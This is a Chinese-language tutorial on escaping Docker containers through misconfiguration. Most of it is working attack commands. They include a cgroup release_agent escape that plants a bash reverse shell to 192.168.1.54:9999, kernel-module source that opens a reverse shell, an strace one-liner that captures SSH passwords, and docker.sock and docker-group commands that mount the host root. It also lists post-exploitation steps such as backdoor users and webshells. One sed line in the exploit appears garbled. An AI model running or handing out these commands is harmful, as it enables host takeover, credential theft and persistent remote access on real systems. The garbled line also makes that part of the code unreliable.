容器逃逸——配置不当
字数 1237 2025-08-29 22:41:44
容器逃逸——配置不当详解
0x00 引言
容器逃逸是指攻击者从容器内部突破隔离限制,获取宿主机权限的过程。当容器权限配置不当或挂载敏感目录时,这些错误配置为攻击者提供了利用机会。本文将详细分析因配置不当导致的容器逃逸技术。
0x01 特权模式逃逸
1. Linux Capabilities机制
Capabilities是一种细粒度的权限控制机制,将root超级权限拆分为多个独立的能力模块,允许进程按需获取特定权限而非完整的root权限。
- 查看容器拥有的Capabilities:
grep Cap /proc/1/status capsh --print
2. Privileged模式
当容器以--privileged=true参数运行时,容器与宿主机共享内核,可直接访问宿主机设备和内核。
检测方法:
cat /proc/self/status | grep CapEff
# 若值为0000003fffffffff或0000001fffffffff则处于特权模式
利用方法:
- 查看宿主机磁盘信息:
fdisk -l - 挂载宿主机文件系统:
mkdir /tmp/test mount /dev/sda1 /tmp/test
后利用技术:
- 写入宿主机公私钥
- 写入宿主机计划任务
- 写入后门用户
- 搜索宿主机敏感文件
- 写入WebShell
3. CAP_SYS_ADMIN
允许执行挂载文件系统、修改系统时钟等操作。
利用方法:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=1/p' /etc/mtab`
echo "$host_path/breakout" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /breakout
echo 'bash -i >& /dev/tcp/192.168.1.54/9999 0>&1' >> /breakout
chmod a+x /breakout
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
4. CAP_SYS_PTRACE
允许调试追踪任意进程,可读取或修改其他进程内存。
利用方法:
- 抓取SSH密码:
strace -f -F -p `ps aux | grep "sshd -D" | grep -v grep | awk {'print $2'}` -t -e trace=read,write -s 32 2 > sshd.log grep -E 'read\(6, ".+\\0\\0\\0\\.+"' sshd.log - 进程注入获取Shell
5. CAP_SYS_MODULE
允许加载或卸载内核模块。
利用方法:
- 创建revshell.c:
#include <linux/kmod.h> #include <linux/module.h> MODULE_LICENSE("GPL"); char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/host/port 0>&1", NULL}; static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); - 编译并加载模块
6. CAP_DAC_READ_SEARCH(Shocker)
允许绕过文件读权限检查。
利用方法:
- 下载并编译shocker.c
- 执行生成的a.out读取宿主机文件
0x02 不安全的挂载
1. Procfs挂载
procfs是Linux虚拟文件系统,展示系统内核和进程信息。
利用方法:
- 挂载宿主机core_pattern:
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04 bash - 利用core_pattern执行命令
2. CGroup挂载
劫持宿主机CGroup的release_agent文件实现逃逸。
利用方法:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=1/p' /etc/mtab`
echo "$host_path/breakout" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /breakout
echo 'bash -i >& /dev/tcp/192.168.1.54/9999 0>&1' >> /breakout
chmod a+x /breakout
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
3. Docker Socket挂载
挂载/var/run/docker.sock可控制宿主机Docker Daemon。
利用方法:
- 创建特权容器:
docker -H unix:///var/run/docker.sock run --privileged -it --rm -v /:/host ubuntu bash - 挂载宿主机根目录
4. lxcfs挂载
当容器挂载了lxcfs目录时可能包含可写的cgroup目录。
0x03 其他风险点
1. 信息泄漏
搜索容器中的敏感信息:
- 环境变量
- 凭证信息
- 配置文件
- Dockerfile和docker-compose.yaml
2. Docker提权
非root用户在docker组中可获取root权限:
docker run -v /:/host -it ubuntu chroot /host bash
3. Remote API未授权
开启远程API访问可能导致未授权访问:
curl http://x.x.x.x:2375/info
docker -H tcp://x.x.x.x:2375 info
利用方法:
- 创建特权容器
- 挂载宿主机根目录
4. 容器安全扫描
推荐扫描工具:
- Clair
- SlimToolkit
- Anchore Engine